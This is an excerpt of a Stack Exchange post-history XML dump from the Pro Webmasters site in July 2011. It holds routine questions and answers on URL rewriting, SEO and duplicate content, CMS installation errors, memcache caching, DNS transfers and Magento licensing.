  <row Id="39688" PostHistoryTypeId="11" PostId="16621" RevisionGUID="340cff36-7fd1-4fd7-b728-0e60c935f84c" CreationDate="2011-07-09T19:03:24.040" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="39689" PostHistoryTypeId="2" PostId="16622" RevisionGUID="66c5b02a-0ac3-4223-bc2b-f5d174633014" CreationDate="2011-07-09T19:05:30.403" UserId="7588" Text="There is always phpmyadmin where you can export selected tables and import them again.&#xD;&#xA;&#xD;&#xA;This is a practical solution if you have a live DB where you need to work on it with the development system. You can take a copy of the db, work on it, drop, e.g. the customer tables, then take the live offline, back it up, drop everything except the customer tables and import your updated db.&#xD;&#xA;&#xD;&#xA;The advantage of phpmyadmin is that it shows you the queries, you can then put together a script from these and use them next time you update." />
  <row Id="39690" PostHistoryTypeId="2" PostId="16623" RevisionGUID="fd9481e1-726f-495e-b5ae-288ed6cf5cc9" CreationDate="2011-07-09T19:07:21.790" UserId="8864" Text="You need to optimize your listing, provide more information about your company and services, choose the right categories.&#xD;&#xA;The categories you currently listed under:   &#xD;&#xA;&#xD;&#xA;    Family Practice Physician, &#xD;&#xA;    Lawn Irrigation Equipment Supplier&#xD;&#xA;nr 1 site is under following categories:&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;     Electric Motors-DLRS/Repairing (whls),&#xD;&#xA;     Electric Motors-Manufacturers,&#xD;&#xA;     Swimming Pool Equipment &amp; Supplies-Mfrs,&#xD;&#xA;     Pumps-Manufacturers,&#xD;&#xA;     Lawn &amp; Garden Sprinkler Systems,&#xD;&#xA;     Pumps,&#xD;&#xA;     Pumps Wholesale &amp; Manufacturers,&#xD;&#xA;     Electric Motors Sales Repair &amp; Parts,&#xD;&#xA;     Pumps Supplies &amp; Parts,&#xD;&#xA;     Lawn Sprinkler System Contractor&#xD;&#xA;&#xD;&#xA;Google places also takes into account SEO factors just like any normal website, this means inbound links are very important as well as URL, Title, Domain name and the content on your pages.  &#xD;&#xA;&#xD;&#xA;Title of your company page is &#xD;&#xA;&#xD;&#xA;&gt; Sprinklers &amp; Irrigation Systems - J&amp;J Services - Home&#xD;&#xA;&#xD;&#xA;if you want to rank for &quot;sprinkler hollywood florida&quot; you might consider changin it to something that contains this phrase.&#xD;&#xA;&#xD;&#xA;&gt; Sprinkler systems near Hollywood FL - J&amp;J Services&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can find much more information about optimization of Google places listing for local search in [this presentation ][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=U78NI5hFkcU" />
  <row Id="39691" PostHistoryTypeId="25" PostId="16557" RevisionGUID="59b24a02-8d13-4310-8a2c-ac1631f6019c" CreationDate="2011-07-09T21:29:04.133" Comment="http://twitter.com/#!/StackWebmasters/status/89808306343911424" />
  <row Id="39692" PostHistoryTypeId="2" PostId="16624" RevisionGUID="e2f0b919-e738-45b6-a1eb-a28d221d1115" CreationDate="2011-07-09T21:36:23.477" UserId="8880" Text="I am currently using OpenX to rotate text links but I don't think search engines can spider these links. What software can I use to do this?" />
  <row Id="39693" PostHistoryTypeId="1" PostId="16624" RevisionGUID="e2f0b919-e738-45b6-a1eb-a28d221d1115" CreationDate="2011-07-09T21:36:23.477" UserId="8880" Text="Ad software to rotate text links?" />
  <row Id="39694" PostHistoryTypeId="3" PostId="16624" RevisionGUID="e2f0b919-e738-45b6-a1eb-a28d221d1115" CreationDate="2011-07-09T21:36:23.477" UserId="8880" Text="&lt;advertising&gt;&lt;openx&gt;" />
  <row Id="39695" PostHistoryTypeId="25" PostId="16523" RevisionGUID="a0506deb-095d-4dfc-a60a-fe542b90b1cd" CreationDate="2011-07-10T00:29:05.027" Comment="http://twitter.com/#!/StackWebmasters/status/89853605363990528" />
  <row Id="39696" PostHistoryTypeId="6" PostId="16624" RevisionGUID="200c98bd-b21f-4e6d-b0af-262dacd49ced" CreationDate="2011-07-10T03:20:49.123" UserId="1253" Comment="edited tags" Text="&lt;advertising&gt;&lt;looking-for-a-script&gt;&lt;openx&gt;" />
  <row Id="39697" PostHistoryTypeId="25" PostId="16621" RevisionGUID="758eb8ac-45f3-436c-8fc9-3cd3b32c9009" CreationDate="2011-07-10T03:30:06.097" Comment="http://twitter.com/#!/StackWebmasters/status/89899156612710402" />
  <row Id="39698" PostHistoryTypeId="17" PostId="16625" RevisionGUID="297e7b3d-f59f-4971-87ec-74ef95065004" CreationDate="2011-07-10T05:56:17.550" UserId="-1" Comment="from http://stackoverflow.com/questions/6633189/rewrite-url-redirection" Text="" />
  <row Id="39699" PostHistoryTypeId="17" PostId="16626" RevisionGUID="2c44f52c-4833-40f7-a445-b4718b5a1065" CreationDate="2011-07-10T05:56:17.550" UserId="-1" Comment="from http://stackoverflow.com/questions/6633189/rewrite-url-redirection" Text="" />
  <row Id="39700" PostHistoryTypeId="2" PostId="16626" RevisionGUID="3e7b5942-851e-4a9f-8180-da07db9ee1be" CreationDate="2011-07-09T06:35:32.103" UserId="5127" Text="    RewriteRule ^/$ http://www.domain.com/sell.html [R=301,L]&#xD;&#xA;&#xD;&#xA;This will create a 301 (permanently moved) redirect from the root URL (/) to sell.html." />
  <row Id="39701" PostHistoryTypeId="2" PostId="16625" RevisionGUID="5a36ecd7-f8fe-415f-8c95-6231e6bde589" CreationDate="2011-07-09T06:34:24.483" UserDisplayName="miojamo" Text="How to rewrite url:&#xD;&#xA;&#xD;&#xA;    www.domain.com&#xD;&#xA;    domain.com&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    www.domain.com/sell.html&#xD;&#xA;&#xD;&#xA;Were sell.html is already rewritten I need some kind of redirection.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39702" PostHistoryTypeId="1" PostId="16625" RevisionGUID="5a36ecd7-f8fe-415f-8c95-6231e6bde589" CreationDate="2011-07-09T06:34:24.483" UserDisplayName="miojamo" Text="rewrite url (redirection)" />
  <row Id="39703" PostHistoryTypeId="3" PostId="16625" RevisionGUID="5a36ecd7-f8fe-415f-8c95-6231e6bde589" CreationDate="2011-07-09T06:34:24.483" UserDisplayName="miojamo" Text="&lt;mod-rewrite&gt;&lt;url-rewriting&gt;" />
  <row Id="39704" PostHistoryTypeId="25" PostId="16539" RevisionGUID="96465a77-5fa4-4c3a-bc45-be74cc3ee373" CreationDate="2011-07-10T06:30:05.593" Comment="http://twitter.com/#!/StackWebmasters/status/89944461114736640" />
  <row Id="39705" PostHistoryTypeId="17" PostId="16627" RevisionGUID="46935a03-14b6-417d-890f-f4cc2c25392b" CreationDate="2011-07-10T07:17:24.943" UserId="-1" Comment="from http://stackoverflow.com/questions/6622152/joomla-1-6-site-cannot-add-a-new-extension-through-admin-interface" Text="" />
  <row Id="39706" PostHistoryTypeId="2" PostId="16627" RevisionGUID="897a64c8-606d-4669-9609-aa953552bb5d" CreationDate="2011-07-08T08:56:10.020" UserDisplayName="Ghlouw" Text="I'm having a very frustrating problem with my Joomla 1.6 site. I cannot add any new extensions through the admin interface. I have tried to upload the extension, or to use the search folder option or even the direct link. Neither of these options work, and all that happens is that the page tries to load forever until it finally timesout with a blank white page (no further error messages). &#xD;&#xA;&#xD;&#xA;I have tried this with multiple browsers (Chrome,FF,IE) and I have tried it with different extensions (modules, components, templates - all the same result). So I don't think it has anything to do with what I am uploading, but more likely the problem is something with the post action. I have also seen the exact same error occur when I try to update menu items or even create new menu items.&#xD;&#xA;&#xD;&#xA;I am not getting this error with a duplicate of the site in the dev environment, but only get this on my shared web hosting live server. This is on a Windows IIS / PHP / mySQL environment. &#xD;&#xA;&#xD;&#xA;Any help would be much appreciated!" />
  <row Id="39707" PostHistoryTypeId="1" PostId="16627" RevisionGUID="897a64c8-606d-4669-9609-aa953552bb5d" CreationDate="2011-07-08T08:56:10.020" UserDisplayName="Ghlouw" Text="Joomla 1.6 site cannot add a new extension through admin interface" />
  <row Id="39708" PostHistoryTypeId="3" PostId="16627" RevisionGUID="897a64c8-606d-4669-9609-aa953552bb5d" CreationDate="2011-07-08T08:56:10.020" UserDisplayName="Ghlouw" Text="&lt;joomla&gt;" />
  <row Id="39709" PostHistoryTypeId="2" PostId="16628" RevisionGUID="e83f1a20-df33-4aa8-8f26-e7698720968f" CreationDate="2011-07-10T07:57:14.150" UserId="3791" Text="I am in the scenario where I have my content duplicated over multiple cross domains. I don't want to get penalized for my original site by Google for it. So what is the best option of it. I came to know about the cross linking i.e giving link of my original article at the last of republished articles, is this okay? Is there any standard format of linking like..&#xD;&#xA;&#xD;&#xA;Cross posted from:  http://myoriginalsite.com/myarticle&#xD;&#xA;&#xD;&#xA;Referenced: http://myoriginalsite.com/myarticle &#xD;&#xA;&#xD;&#xA;Original article: http://myoriginalsite.com/myarticle&#xD;&#xA;&#xD;&#xA;Which of above will be good? " />
  <row Id="39710" PostHistoryTypeId="1" PostId="16628" RevisionGUID="e83f1a20-df33-4aa8-8f26-e7698720968f" CreationDate="2011-07-10T07:57:14.150" UserId="3791" Text="Linking two sites" />
  <row Id="39711" PostHistoryTypeId="3" PostId="16628" RevisionGUID="e83f1a20-df33-4aa8-8f26-e7698720968f" CreationDate="2011-07-10T07:57:14.150" UserId="3791" Text="&lt;seo&gt;&lt;google&gt;&lt;indexing&gt;&lt;duplicate-content&gt;&lt;seo-friendly&gt;" />
  <row Id="39712" PostHistoryTypeId="5" PostId="16628" RevisionGUID="48431d6c-f202-4986-b61f-0f52e247d1fd" CreationDate="2011-07-10T08:03:37.413" UserId="3791" Comment="added 8 characters in body" Text="I am in the scenario where I have my content duplicated over multiple cross domains. I don't want to get penalized for my original site by Google for it. So what is the best option to avoid this. I came to know about the cross linking i.e giving link of my original article at the last of republished articles, is this okay? Is there any standard format of linking like..&#xD;&#xA;&#xD;&#xA;Cross posted from:  http://myoriginalsite.com/myarticle&#xD;&#xA;&#xD;&#xA;Referenced: http://myoriginalsite.com/myarticle &#xD;&#xA;&#xD;&#xA;Original article: http://myoriginalsite.com/myarticle&#xD;&#xA;&#xD;&#xA;Which of above will be good? " />
  <row Id="39713" PostHistoryTypeId="25" PostId="16509" RevisionGUID="5108603b-3531-4210-a9a3-48703bf40405" CreationDate="2011-07-10T09:30:07.060" Comment="http://twitter.com/#!/StackWebmasters/status/89989763129548801" />
  <row Id="39715" PostHistoryTypeId="2" PostId="16630" RevisionGUID="4ec312df-c898-4507-98f5-d66399395783" CreationDate="2011-07-10T09:37:33.983" UserId="5026" Text="At stage 3 of the Prestashop Installation, I enter the DB details which I know to be correct, and I receive the error:&#xD;&#xA;&#xD;&#xA;&gt; Database server was not found. Please&#xD;&#xA;&gt; verify the login, password, and&#xD;&#xA;&gt; database server name fields.&#xD;&#xA;&#xD;&#xA;The server is localhost, and I have verified the database name and username. Why can Prestashop not find the server?&#xD;&#xA;&#xD;&#xA;This occurs when choosing InnoDB and MyIsam.&#xD;&#xA;&#xD;&#xA;If I change the server from localhost to the public hostname I receive the same error." />
  <row Id="39716" PostHistoryTypeId="1" PostId="16630" RevisionGUID="4ec312df-c898-4507-98f5-d66399395783" CreationDate="2011-07-10T09:37:33.983" UserId="5026" Text="Correct DB details produce “Database server was not found” (Prestashop Installation)" />
  <row Id="39717" PostHistoryTypeId="3" PostId="16630" RevisionGUID="4ec312df-c898-4507-98f5-d66399395783" CreationDate="2011-07-10T09:37:33.983" UserId="5026" Text="&lt;mysql&gt;&lt;web-platform-installer&gt;&lt;prestashop&gt;" />
  <row Id="39718" PostHistoryTypeId="2" PostId="16631" RevisionGUID="e37295a2-a29f-40f2-8fd9-ea1def0450ff" CreationDate="2011-07-10T10:15:21.000" UserId="3466" Text="The best solution is to not have duplicated content :)&#xD;&#xA;&#xD;&#xA;Crosslinking is not a good idea either, because from what I understand, you'd do that for search engines and not the users. We would still find the duplicated content and potentially index them, which may result in duplication in the results.&#xD;&#xA;&#xD;&#xA;What I'd do is to 301 redirect the unoriginal content to the original one, or if this is not possible, use the canonical link element to hint us which version is the canonical, &quot;original&quot; one.&#xD;&#xA;&#xD;&#xA;Here's this Help Center article about rel=canonical, Matt even explains in a few words what it is all about: http://www.google.com/support/webmasters/bin/answer.py?answer=139394" />
  <row Id="39719" PostHistoryTypeId="2" PostId="16632" RevisionGUID="29eb0f7d-ce29-4916-b78a-0e44ef9e3ace" CreationDate="2011-07-10T11:31:27.830" UserId="8878" Text="I think the problem is that Phoca guestbook don't know which guestbook it should show. If I understood this component right it has the possibility to manage several guestbooks, with several id's.&#xD;&#xA;&#xD;&#xA;So maybe you have success if you try to add a guestbook id like following:&#xD;&#xA;&#xD;&#xA;    {component url='index.php?option=com_phocaguestbook&amp;id=1'}" />
  <row Id="39720" PostHistoryTypeId="2" PostId="16633" RevisionGUID="60222c8e-8b99-4c8b-bccb-f1c71db78ae2" CreationDate="2011-07-10T12:21:08.753" UserId="8878" Text="I had the same problem a few month ago. To display the content of a site on same domain is no problem, but display the content from another domain was a bit tricky.&#xD;&#xA;&#xD;&#xA;What me helped a lot, for both variants, was an article from Chris Coyier about [cross domain resizing][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css-tricks.com/5210-cross-domain-iframe-resizing/" />
  <row Id="39721" PostHistoryTypeId="5" PostId="16602" RevisionGUID="975f5588-2ea2-4207-9123-7156a2130363" CreationDate="2011-07-10T12:26:12.043" UserId="8873" Comment="deleted 117 characters in body; edited title" Text="I have a Drupal (pressflow 6.22) website and I am using memcache as a caching level for my website/server. Sometimes some node (articles) that has been published on my website shows empty content when browsed (Specially with IE). &#xD;&#xA;&#xD;&#xA;When I do below on the server that has memcache&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ telnet 127.0.0.1 11211&#xD;&#xA;Trying 127.0.0.1...&#xD;&#xA;Connected to 127.0.0.1.&#xD;&#xA;Escape character is '^]'.&#xD;&#xA;flush_all&#xD;&#xA;OK&#xD;&#xA;quit&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;and refresh the page using the same browser, it is displayed properly. Has anybody faced the same issue? " />
  <row Id="39722" PostHistoryTypeId="4" PostId="16602" RevisionGUID="975f5588-2ea2-4207-9123-7156a2130363" CreationDate="2011-07-10T12:26:12.043" UserId="8873" Comment="deleted 117 characters in body; edited title" Text="Drupal shows empty content because of memcache" />
  <row Id="39723" PostHistoryTypeId="25" PostId="16516" RevisionGUID="7065265d-e803-449d-a98c-07e231de6914" CreationDate="2011-07-10T12:30:08.450" Comment="http://twitter.com/#!/StackWebmasters/status/90035065295339520" />
  <row Id="39724" PostHistoryTypeId="2" PostId="16634" RevisionGUID="9f4ab75d-b21a-49be-9061-067f2f72955b" CreationDate="2011-07-10T13:22:19.600" UserId="269" Text="If you want search engines to spider the results then your best bet is to rotate them on the server-side in whatever programming language and framework you are using (PHP, Rails, etc).&#xD;&#xA;&#xD;&#xA;John is absolutely correct that if you are selling the links then you want to be careful about them being indexed as google will penalize you." />
  <row Id="39725" PostHistoryTypeId="2" PostId="16635" RevisionGUID="747c6ec1-2fba-461c-bb63-e963d66652e5" CreationDate="2011-07-10T13:26:08.550" UserId="269" Text="I believe you can set up to 20 different tags in DFP Small Business and target to those tags:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/dfp_sb/bin/answer.py?answer=91225&#xD;&#xA;&#xD;&#xA;If you are looking for more you can upgrade to the full DFP or checkout other options like OpenX (or my company [Adzerk][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://adzerk.com" />
  <row Id="39726" PostHistoryTypeId="2" PostId="16636" RevisionGUID="cccad5f8-8c54-4788-9681-fa085211b0eb" CreationDate="2011-07-10T14:15:39.053" UserId="3606" Text="For SEO reasons, I've understood that it is important that the pages top most h1 is descriptive of the page's actual content. If one also wishes to have the site title at the top most part of the page, what element would this be put in? For example, take a simple blog. If one wishes to have the blog post header to be the top most h1, but want to have the blog name visible at the top of each post, in what element would this best be put? My guess is that it could be put within a span or p, but this would make a span or p be placed above the first header of the page, which perhaps could be argued to be bad semantics.&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;" />
  <row Id="39727" PostHistoryTypeId="1" PostId="16636" RevisionGUID="cccad5f8-8c54-4788-9681-fa085211b0eb" CreationDate="2011-07-10T14:15:39.053" UserId="3606" Text="Correct element for rendered page title?" />
  <row Id="39728" PostHistoryTypeId="3" PostId="16636" RevisionGUID="cccad5f8-8c54-4788-9681-fa085211b0eb" CreationDate="2011-07-10T14:15:39.053" UserId="3606" Text="&lt;seo&gt;&lt;html&gt;&lt;html5&gt;" />
  <row Id="39729" PostHistoryTypeId="2" PostId="16637" RevisionGUID="e49de395-d897-496a-876a-bd0bbdcaedd0" CreationDate="2011-07-10T14:27:33.513" UserId="8222" Text="Use Google DFP it is the easiest way to do that &#xD;&#xA;&#xD;&#xA;[http://www.labnol.org/internet/google-dfp-tutorial/14099/][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/google-dfp-tutorial/14099/&#xD;&#xA;&#xD;&#xA;Watch the video and learn from it.. can't find a better resource " />
  <row Id="39730" PostHistoryTypeId="2" PostId="16638" RevisionGUID="15a10d99-59c3-403b-b379-7c7bae33f9b4" CreationDate="2011-07-10T15:09:08.067" UserId="1009" Text="I just transferred a domain from GoDaddy to NameCheap.com. There was a period of downtime until I configured the proper settings at NameCheap. During this downtime browsers returned a 408 Request Timeout error. Next time, **how do I avoid the downtime during domain transfers because the previous registrar's name servers stopped serving records?** Specifically transfers to NameCheap (from GoDaddy).&#xD;&#xA;&#xD;&#xA;Note this question differs slightly from [Domain transfers - handling the downtime][1] because NameCheap copied the GoDaddy name server information for the domain, but GoDaddy name servers stopped serving DNS records. When I switched to NameCheap's name servers, I had to manually re-enter all the records.&#xD;&#xA;&#xD;&#xA;I could swear on a previous transfer (also from GoDaddy to Namecheap) the DNS records were all transferred automatically, with no downtime. What did I do differently last time? Was it just a matter of switching the name server ASAP? I think the issue is configuring the domain to use NameCheap's name servers before GoDaddy's name servers stop serving records.&#xD;&#xA;&#xD;&#xA;I've thought of two possible solutions, but I'm not sure if either is feasible:&#xD;&#xA;&#xD;&#xA;- set the TTL for the records at GoDaddy to a very long value (might not be possible if I don't already own the domain)&#xD;&#xA;- use an intermediate, third-party name server&#xD;&#xA;&#xD;&#xA;Any better ideas?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/14116/domain-transfers-handling-the-downtime" />
  <row Id="39731" PostHistoryTypeId="1" PostId="16638" RevisionGUID="15a10d99-59c3-403b-b379-7c7bae33f9b4" CreationDate="2011-07-10T15:09:08.067" UserId="1009" Text="How to seamlessly transfer a domain (avoid downtime because the previous registrar's nameservers stopped serving DNS records)" />
  <row Id="39732" PostHistoryTypeId="3" PostId="16638" RevisionGUID="15a10d99-59c3-403b-b379-7c7bae33f9b4" CreationDate="2011-07-10T15:09:08.067" UserId="1009" Text="&lt;domains&gt;&lt;transfer&gt;&lt;domain-registrar&gt;&lt;downtime&gt;" />
  <row Id="39733" PostHistoryTypeId="25" PostId="16627" RevisionGUID="616e4e40-7602-4345-9871-d5d9a592c02b" CreationDate="2011-07-10T15:30:08.997" Comment="http://twitter.com/#!/StackWebmasters/status/90080369919000578" />
  <row Id="39734" PostHistoryTypeId="2" PostId="16639" RevisionGUID="127e3c73-411c-4ff6-a552-e07de79a0557" CreationDate="2011-07-10T15:34:07.550" UserId="1253" Text="I'm not exactly sure what you mean by &quot;what element would this be put in&quot;. `&lt;h1&gt;` tags are a [block element][1]. This mean they can only go in [other block level elements][2]. If you place it in an [inline element][3] then your HTML is invalid.&#xD;&#xA;&#xD;&#xA;The `&lt;h1&gt;` tag can go anywhere in your HTML although it usually is close to the top since it acts like the page's visible title. But this isn't always the case due to design considerations (i.e. floating elements, login boxes, etc). If your `&lt;h1&gt;` tag falls far down into your page's HTML then you've probably made an error or your page can be coded in a better way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/HTML_element#Block_elements&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/HTML_element#Other_block_elements&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/HTML_element#Inline_elements" />
  <row Id="39735" PostHistoryTypeId="4" PostId="16628" RevisionGUID="d418dadb-9ac3-4562-859a-54f44790d51b" CreationDate="2011-07-10T15:39:33.583" UserId="1253" Comment="modified tags, modified title" Text="How to cross-link multiple sites with duplicate content that is search engine friendly?" />
  <row Id="39736" PostHistoryTypeId="6" PostId="16628" RevisionGUID="d418dadb-9ac3-4562-859a-54f44790d51b" CreationDate="2011-07-10T15:39:33.583" UserId="1253" Comment="modified tags, modified title" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="39738" PostHistoryTypeId="4" PostId="14975" RevisionGUID="34dd7ec7-d96e-4d1d-a30c-c14e6b80b787" CreationDate="2011-07-10T15:42:04.580" UserId="1253" Comment="modified tags, modified title; edited title" Text="Why does a broad-phrase rank better than new optimized exact-phrase?" />
  <row Id="39739" PostHistoryTypeId="6" PostId="14975" RevisionGUID="34dd7ec7-d96e-4d1d-a30c-c14e6b80b787" CreationDate="2011-07-10T15:42:04.580" UserId="1253" Comment="modified tags, modified title; edited title" Text="&lt;seo&gt;&lt;google&gt;&lt;keywords&gt;&lt;page-ranking&gt;" />
  <row Id="39740" PostHistoryTypeId="5" PostId="6155" RevisionGUID="091993d9-2c2b-4d75-bceb-4bb7b4d50952" CreationDate="2011-07-10T15:42:50.820" UserId="1253" Comment="modified tags, minor text edits" Text="Need a good Joomla host with PHP 5.3 + required.  Any good suggestions?&#xD;&#xA;" />
  <row Id="39741" PostHistoryTypeId="6" PostId="6155" RevisionGUID="091993d9-2c2b-4d75-bceb-4bb7b4d50952" CreationDate="2011-07-10T15:42:50.820" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;joomla&gt;&lt;looking-for-hosting&gt;&lt;shared-hosting&gt;" />
  <row Id="39743" PostHistoryTypeId="2" PostId="16640" RevisionGUID="ee5aca0c-c596-4d02-abcf-a1e2bb138ce5" CreationDate="2011-07-10T15:53:54.070" UserId="8591" Text="The title of the page is hopefully already in the `&lt;title&gt;` tag in your `&lt;head&gt;`. Therefore, no tag exists for the purpose of showing your page's title. Putting it in a `&lt;p&gt;` or `&lt;span&gt;` as you suggest yourself would be perfectly fine.&#xD;&#xA;&#xD;&#xA;As an example, just look at this page's source:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;hlogo&quot;&gt;&#xD;&#xA;        &lt;a href=&quot;/&quot;&gt;Pro Webmasters&lt;/a&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Additionally, there's no SEO rules or anything stating that no text can be before your first headers. As another example, menus, welcome-notes, etc. are often before the first article on a blog anyway." />
  <row Id="39744" PostHistoryTypeId="2" PostId="16641" RevisionGUID="b7cb281e-86d2-4ea6-a904-7d0e7e2fa0ef" CreationDate="2011-07-10T16:17:09.760" UserId="2942" Text="I would like to know what's the best location for an id in a seo optimized url: &#xD;&#xA;&#xD;&#xA;http://www.site.com/id/slug-title&#xD;&#xA;&#xD;&#xA;http://www.site.com/slug-title-id&#xD;&#xA;&#xD;&#xA;What do you think ?" />
  <row Id="39745" PostHistoryTypeId="1" PostId="16641" RevisionGUID="b7cb281e-86d2-4ea6-a904-7d0e7e2fa0ef" CreationDate="2011-07-10T16:17:09.760" UserId="2942" Text="SEO : urls : best place for the id" />
  <row Id="39746" PostHistoryTypeId="3" PostId="16641" RevisionGUID="b7cb281e-86d2-4ea6-a904-7d0e7e2fa0ef" CreationDate="2011-07-10T16:17:09.760" UserId="2942" Text="&lt;seo&gt;&lt;url&gt;&lt;optimization&gt;" />
  <row Id="39747" PostHistoryTypeId="2" PostId="16642" RevisionGUID="b59a0b7e-82a9-4834-8659-4fdd79eac7e5" CreationDate="2011-07-10T16:26:30.923" UserId="1253" Text="Look no further then the URL of this page:&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/16641/seo-urls-best-place-for-the-id&#xD;&#xA;&#xD;&#xA;It's in the `http://www.site.com/action/id/slug-title` format. But truthfully, both work well and are optimized for the search engines." />
  <row Id="39748" PostHistoryTypeId="2" PostId="16643" RevisionGUID="bf31da64-eb02-4118-af0f-cfe50d9d0188" CreationDate="2011-07-10T16:36:18.030" UserId="8591" Text="Just merge your `.htaccess` files.&#xD;&#xA;&#xD;&#xA;     &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^readjob/(.*)/(.*)/(.*)/$ newaddon/readjob.php?id=$1&amp;cat=$2&amp;title=$3&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39749" PostHistoryTypeId="2" PostId="16644" RevisionGUID="94b6e4dd-8536-476f-b971-a6d541317fce" CreationDate="2011-07-10T17:21:37.573" UserId="8860" Text="I recently did a similar switch, but this time I was ready.  This is what I did.&#xD;&#xA;&#xD;&#xA; - Duplicate ALL of your DNS records from your old nameserver host to your new nameserver host.  Use the same TTL, unless you have a reason not to do so.&#xD;&#xA; - Wait until the new nameservers respond to your DNS queries.  You can use `dig @newnameserver yourdomain.com A +short` to see if it responds.&#xD;&#xA; - Change your registrar nameservers to point to your new nameservers.&#xD;&#xA; - Wait a few days for the new nameservers to propagate across the world (better safe than sorry)&#xD;&#xA; - Cancel your old nameserver host&#xD;&#xA;&#xD;&#xA;True, this made migration a multi-day affair.  When I did a transfer from webhosting/namehosting to a new host, I first did steps 2-3, which took less than a day (the new nameserver host didn't always pick up changes right away).  This was on a Wednesday.  The following Saturday I did the actual web site transfer, then did the last step the following Monday.  Only a few users had issues because I accidentally set the `CNAME` for `www` to `ghs.google.com` (heh)." />
  <row Id="39750" PostHistoryTypeId="25" PostId="16641" RevisionGUID="bd90baa6-22a2-4dce-8866-811ce71576d2" CreationDate="2011-07-10T18:30:10.520" Comment="http://twitter.com/#!/StackWebmasters/status/90125672642650112" />
  <row Id="39751" PostHistoryTypeId="2" PostId="16645" RevisionGUID="11a5b2c4-7b30-4316-9b92-98c69e64142f" CreationDate="2011-07-10T21:06:41.420" UserId="8886" Text="I have been doing webdesign for a small business in Denmark, which alrady have a deal with a larger company to create the final site.&#xD;&#xA;&#xD;&#xA;Among this companys proposal, I see that they charge a rather large fee for installing Magento on my clients server, and an additional fee to integrate the design.&#xD;&#xA;&#xD;&#xA;Same company forbids my client from having FTP or similar access to the server, and they are therefornot able to install this themselves.&#xD;&#xA;&#xD;&#xA;My question is : is resale of the Ubuntu really allowed by the licence? This company wants to charge a rather steep amout for even installing a blank version of it, no Magento-licencing included.&#xD;&#xA;&#xD;&#xA;Ihave looked larger company up, and this company does NOT have a standing licence for Magento. And even if they got one, I have a sneeky feeling that something is legal/licence wrong here.&#xD;&#xA;&#xD;&#xA;The reason I share this with you is that I have a guts feeling that I should raise some critical questions and suggest that My client uses another company for their webaite, but I need to be certain that Im on the right side.&#xD;&#xA;&#xD;&#xA;The IT company has no partnership with Magento/Varien, and have a somewhat tarnished reputation already...&#xD;&#xA;&#xD;&#xA;I have mailed Magento about this, but have not had any response yet." />
  <row Id="39752" PostHistoryTypeId="1" PostId="16645" RevisionGUID="11a5b2c4-7b30-4316-9b92-98c69e64142f" CreationDate="2011-07-10T21:06:41.420" UserId="8886" Text="Suspicion about Magento licencing" />
  <row Id="39753" PostHistoryTypeId="3" PostId="16645" RevisionGUID="11a5b2c4-7b30-4316-9b92-98c69e64142f" CreationDate="2011-07-10T21:06:41.420" UserId="8886" Text="&lt;legal&gt;&lt;magento&gt;" />
  <row Id="39754" PostHistoryTypeId="25" PostId="16638" RevisionGUID="4aa631a4-316f-4d47-8cd4-f5f9434abc13" CreationDate="2011-07-10T21:30:10.783" Comment="http://twitter.com/#!/StackWebmasters/status/90170974791675904" />
  <row Id="39755" PostHistoryTypeId="5" PostId="16645" RevisionGUID="e0b44c42-7350-4b9f-abd9-9462b6d4311e" CreationDate="2011-07-10T21:39:24.087" UserId="8886" Comment="added 1 characters in body" Text="I have been doing webdesign for a small business in Denmark, which alrady have a deal with a larger company to create the final site.&#xD;&#xA;&#xD;&#xA;Among this companys proposal, I see that they charge a rather large fee for installing Magento on my clients server, and an additional fee to integrate the design.&#xD;&#xA;&#xD;&#xA;Same company forbids my client from having FTP or similar access to the server, and they are therefornot able to install this themselves.&#xD;&#xA;&#xD;&#xA;My question is : is resale of the Magento really allowed by the licence? This company wants to charge a rather steep amout for even installing a blank version of it, no Magento-licencing included.&#xD;&#xA;&#xD;&#xA;Ihave looked larger company up, and this company does NOT have a standing licence for Magento. And even if they got one, I have a sneeky feeling that something is legal/licence wrong here.&#xD;&#xA;&#xD;&#xA;The reason I share this with you is that I have a guts feeling that I should raise some critical questions and suggest that My client uses another company for their webaite, but I need to be certain that Im on the right side.&#xD;&#xA;&#xD;&#xA;The IT company has no partnership with Magento/Varien, and have a somewhat tarnished reputation already...&#xD;&#xA;&#xD;&#xA;I have mailed Magento about this, but have not had any response yet." />
